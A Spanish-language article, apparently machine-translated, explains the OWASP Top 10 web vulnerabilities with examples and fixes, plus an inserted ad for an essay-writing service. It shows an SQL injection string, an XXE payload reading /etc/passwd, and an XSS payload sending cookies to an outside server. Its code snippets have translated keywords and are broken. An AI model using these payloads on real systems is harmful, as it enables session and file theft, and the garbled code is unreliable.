El Top 10 de OWASP (Proyecto abierto de seguridad de aplicaciones web) es una pauta de seguridad estándar seguida por desarrolladores y profesionales de seguridad de toda la industria. OWASP es una organización sin fines de lucro fundada en para ayudar a proteger aplicaciones contra vulnerabilidades populares.
A medida que las prácticas de desarrollo de software han evolucionado a lo largo de los años, también lo ha hecho la naturaleza de los ataques. Para seguir siendo relevante según las complejas vulnerabilidades de seguridad actuales, OWASP sigue actualizando su lista de vulnerabilidades en función de las tendencias actuales (OWASP se encuentra actualmente en su edición).
Además, como estudiante que está leyendo este artículo y no tiene suficiente tiempo para explorar las vulnerabilidades de OWASP, simplemente puede recurrir a expertos en redacción como MyPaperWriter (https://mypaperwriter.com/purchase-research-papers.htm ) .
Habiendo entendido qué es el estándar OWASP Top 10 , veamos cada uno de ellos con un ejemplo del mundo real para ayudar a nuestra comprensión.
1. Inyección
Las inyecciones de SQL ocurren cuando una entrada controlada por el usuario se agrega dinámicamente a la declaración SQL sin validación de entrada. En este caso, el atacante puede proporcionar información maliciosa y cambiar el comportamiento de la declaración SQL para llevar a cabo sus actividades maliciosas. El atacante puede usar esto para extraer datos confidenciales, eliminar datos, etc. A continuación se muestran ejemplos de fragmentos de código vulnerables y no vulnerables.
Código vulnerable:
| uName = getRequestString( “nombre de usuario” ); uPass = getRequestString ( “contraseña de usuario” ); sql = ‘SELECT * FROM Usuarios DONDE Nombre =”’ + uName + ‘” AND Pass =”’ + uPass + ‘”’ |
Aquí uName y uPass están controlados por el usuario. Si un atacante envía uName como “admin” y contraseña como “O 1 = 1”, entonces la declaración SQL se convertirá en algo así como
sql = ‘SELECCIONAR * DE Usuarios DONDE Nombre =”admin” Y Pasar =”” O 1 = 1 —
Esto hará que la declaración sea verdadera y obtendrá registros de los usuarios administradores. El uso de declaraciones preparadas sigue siendo la forma más popular y eficaz de solucionar este problema, como se muestra a continuación.
Código fijo:
| String Uname = // entrada del usuario String Upass = // entrada del usuario Conexión conexión = DriverManager.getConnection(…); Declaración PreparedStatement = conexión.prepareStatement ( “SELECCIONAR * DE Usuarios DONDE Nombre =? Y Pasar =?” ); declaración.setString( 1 , Uname); declaración.setString( 2 , Pasar); Conjunto de resultados rs = declaración.executeQuery(); |
2. Autenticación rota
Una autenticación débil o faltante puede permitir a los atacantes comprometer la contraseña y los tokens de sesión y, en última instancia, obtener acceso a la cuenta de la víctima. Por lo tanto, las aplicaciones deben utilizar contraseñas aleatorias y tokens de sesión complejos y seguros, de modo que no puedan adivinarse fácilmente.
Aparte de eso, debería haber controles de seguridad, como una política de bloqueo de cuentas y una política de caducidad de contraseñas, para evitar que las aplicaciones sean víctimas de ataques automatizados de fuerza bruta.
3. Exposición de datos confidenciales
La exposición de datos puede ocurrir principalmente de dos maneras. Primero, en reposo: cuando los datos se almacenan en el sistema (archivo o base de datos), deben cifrarse mediante un mecanismo de cifrado sólido. Si no se hace esto y el servicio de almacenamiento se ve comprometido, es posible que se filtren los datos almacenados.
En segundo lugar , en tránsito: los datos deben cifrarse adecuadamente cuando se envían a través de canales de red. Por lo tanto, si se intercepta en el medio, la integridad de los datos confidenciales permanece sin cambios. Esto se llama protección de datos en tránsito.
Nota: Los campos de contraseña deben codificarse y luego almacenarse en la base de datos. La razón de esto es que el hash es un mecanismo unidireccional. Por lo tanto, incluso si la base de datos está comprometida, el atacante no podrá recuperar el valor de la contraseña del hash de la contraseña.
4. Entidades Externas XML (XXE)
Muchas aplicaciones utilizan documentos XML para permitir la comunicación de datos entre el servidor y el navegador. Por lo tanto, necesitan analizadores XML para analizar la información. Cuando se utiliza un analizador XML mal configurado para analizar un documento XML de entrada malicioso, puede evaluar las referencias de entidades externas que ejecutan los comandos del atacante. A continuación se muestra un ejemplo de un documento XML de entrada malicioso.
| ? versión xml = “1.0” codificación = “ISO-8859-1” ? !DOCTYPE foo [ !ELEMENT foo ANY !ENTITY xxe SYSTEM “file:///etc/passwd” ] foo xxe ; /foo _ _
|
En el fragmento anterior, hay un comando del sistema para leer el archivo “passwd” local en el servidor. En ciertos casos, esta vulnerabilidad puede propagarse a otros ataques como SSRF (falsificación de solicitudes del lado del servidor), inclusión de archivos locales, ejecución remota de código, ataque DoS, etc.
Como solución, se sugiere deshabilitar la resolución de entidades externas y deshabilitar la compatibilidad con XInclude.
5. Control de acceso roto
El control de acceso se refiere a la restricción impuesta a recursos seleccionados para proporcionar acceso únicamente a los usuarios previstos. Una aplicación que no aplica un control de acceso adecuado puede permitir que un atacante acceda a funcionalidades o datos no autorizados. A continuación se muestra un ejemplo de la vida real de un sistema vulnerable que utilizó la información del usuario sin validación.
Sistema #1: La aplicación utiliza datos no validados en una declaración SQL que accede a la información de la cuenta desde la base de datos:
| pstmt.setString( 1 , request.getParameter( “númerodecuenta” )) ; Resultados del conjunto de resultados = pstmt.executeQuery() ; Un atacante simplemente modifica el parámetro ‘acctNo’ en el navegador para enviar cualquier número de cuenta que desee y accede con éxito a la cuenta de cualquier usuario. |
| Llamada de servicio : http: //example.com/app/accountInfo?acct=1234 |
6. Mala configuración de seguridad
Esta es la vulnerabilidad de seguridad más popular en muchas aplicaciones/sistemas. Como los desarrolladores utilizan muchas herramientas y servicios integrados durante el desarrollo de aplicaciones, tienden a utilizar la configuración predeterminada proporcionada, lo cual es peligroso y deja su aplicación vulnerable.
En circunstancias normales, las configuraciones de la aplicación permiten mensajes de error detallados. Entonces, cuando ocurre un error, como registro de depuración, seguimiento de pila, etc., el navegador brinda los detalles completos al usuario. Desafortunadamente, esto expone información confidencial, como las versiones de los componentes, lo que puede ser un problema si el componente tiene vulnerabilidades conocidas que aún no ha solucionado.
7. Secuencias de comandos XSS entre sitios:
En las secuencias de comandos entre sitios ( XSS ), la entrada del usuario controlada por el atacante se agrega a la página web sin validación ni escape adecuado. Luego, el atacante puede introducir código malicioso para ejecutar su Javascript en el navegador de la víctima. Esto se puede utilizar para redirigir a la víctima a una página controlada por un atacante, cambiar los elementos de la interfaz de usuario de la página para desfigurarla o robar detalles de las cookies. A continuación se muestra un ejemplo de una carga útil de JavaScript que roba cookies y las envía al servidor atacante.
| tipo de script = “texto/javascript” documento .ubicación= “http://192.168.0.48:5000/?c=” + documento .cookie; / guión |
8. Deserialización insegura:
La vulnerabilidad de deserialización insegura surge cuando una aplicación deserializa la entrada serializada proporcionada por el usuario sin implementar controles de seguridad. Se sabe que pocos deserializadores populares, como el módulo Pickle de Python y el método ReadObject de Java, son vulnerables a ataques de deserialización. Al utilizar esto, un atacante puede realizar la ejecución remota de código en el servidor, lo que resulta en un acceso remoto seguro.
9. Uso de componentes con vulnerabilidades conocidas
Hoy en día, el uso de software gratuito/de código abierto y bibliotecas de terceros es una práctica muy común en el desarrollo de aplicaciones. Por lo tanto, es igualmente importante garantizar la seguridad de estos componentes de código abierto y de terceros utilizados en el desarrollo. Esta práctica de gestionar la seguridad y las licencias de software de código abierto y de terceros también se conoce como análisis de composición de software .
10. Registro y monitoreo insuficientes
Para prevenir un ciberataque y actuar en caso de que ocurra, los sistemas de registro y monitoreo son el eslabón más crítico en la cadena de gestión de eventos de seguridad. Ayudan a detectar y analizar la causa raíz del ataque. Las soluciones de monitoreo de incidentes como Splunk y CyberArk ayudan a analizar los registros de los terminales e informar sobre comportamientos maliciosos en forma de alarmas. Para actuar ante estas alarmas, se pueden utilizar soluciones de respuesta a incidentes como Resilient, ForcePoint y Crowdstike. Ejecutan un conjunto de acciones predefinidas para ayudar a abordar las amenazas a la seguridad.
Conclusión
Los desarrolladores de aplicaciones y los ingenieros de seguridad deben probar sus bases de código contra vulnerabilidades web populares antes de publicar sus aplicaciones en un entorno de producción. Esta lista OWASP Top 10 de vulnerabilidades web se puede utilizar como lista de verificación en las pruebas de seguridad.
Thank you all for going through the OWASP Top 10 with me. I hope you enjoyed reading.